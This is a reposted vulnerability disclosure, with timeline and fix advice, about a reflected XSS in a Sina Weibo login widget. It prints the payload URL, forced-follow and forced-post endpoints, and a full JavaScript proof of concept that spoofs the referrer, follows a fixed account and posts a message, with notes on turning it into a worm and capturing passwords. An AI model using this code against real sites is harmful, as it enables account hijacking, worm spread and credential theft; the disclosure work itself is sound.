神刀安全网

漏洞标题: 新浪微博一处反射型XSS(可截获用户登录名及明文密码、可蠕虫、可刷关注)

漏洞详情

披露状态:

2016-02-01: 细节已通知厂商并且等待厂商处理中
2016-02-02: 厂商已经确认,细节仅向厂商公开
2016-02-12: 细节向核心白帽子及相关领域专家公开
2016-02-22: 细节向普通白帽子公开
2016-03-03: 细节向实习白帽子公开
2016-03-17: 细节向公众公开

简要描述:

本来想找个CSRF的,结果找到个XSS,接着又找到一处refer验证不严,结合起来可以刷关注了。

详细说明:

首先,反射XSS在这里:

http://service.weibo.com/widget/public/login.php?source=share&backurl=http://service.weibo.com/share/mobile.php?url=aaaaaaaa',a:(alert(1))//

加关注:

POST:http://widget.weibo.com/relationship/aj_attention.php

wsrc=app_follow_button&uid=XXX

发微博:

POST:http://service.weibo.com/share/aj_share.php

content=新年快了!恭喜发财!

然后我写了段代码测试了一下效果。

code 区域
(function(){
//set referrer
var meta = document.createElement('meta');
meta.name = 'referrer';
meta.content = 'origin';
document.head.appendChild(meta);

//document.head.appendChild(style);
var iframe = document.createElement('iframe');
iframe.name = 'myframe'
document.head.appendChild(iframe);

//fowllo me
var form = document.createElement('form'),
input1 = document.createElement('input'),
input2 = document.createElement('input');
input1.name = 'wsrc';
input1.value = 'app_follow_button';
input2.name = 'uid';
input2.value = '1719751704';
form.appendChild(input1);
form.appendChild(input2);
form.action = 'http://widget.weibo.com/relationship/aj_attention.php';
form.method = 'post';
form.target = 'myframe';
document.head.appendChild(form);
form.submit();
//create xhr
var xhr = false;
try {
xhr = new XMLHttpRequest()
} catch (d) {
try {
xhr = new ActiveXObject("Msxml2.XMLHTTP")
} catch (c) {
try {
xhr = new ActiveXObject("Microsoft.XMLHTTP")
} catch (b) {
xhr = false
}
}
}
//send message
var data = 'content=新年快了!恭喜发财!';
xhr.open('POST', 'http://service.weibo.com/share/aj_share.php?t=' + new Date().getTime(), false);
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.send(data);
})();

用户以登录状态访问上面那个XSS就中招了,本来想全部走AJAX的,但是加关注那里跨域了,行不通,就改成form了,再就是分享这里验证了refer,所以用JS控制当前页面的referrer为origin,然后把上面这一大段JS通过反射XSS远程加载进来就行了,content中再加上链接就可以蠕动起来了。

劫持用户名和密码我没试,但是理论上应该是可以的,因为本来就是微博正常的登录页面,插点JS截获表单数据很容易了。

漏洞证明:

漏洞标题:  新浪微博一处反射型XSS(可截获用户登录名及明文密码、可蠕虫、可刷关注)

漏洞标题:  新浪微博一处反射型XSS(可截获用户登录名及明文密码、可蠕虫、可刷关注)

漏洞标题:  新浪微博一处反射型XSS(可截获用户登录名及明文密码、可蠕虫、可刷关注)

漏洞标题:  新浪微博一处反射型XSS(可截获用户登录名及明文密码、可蠕虫、可刷关注)

修复方案:

过滤,转义,验证。

版权声明:转载请注明来源 Neeke@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 新浪微博一处反射型XSS(可截获用户登录名及明文密码、可蠕虫、可刷关注)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮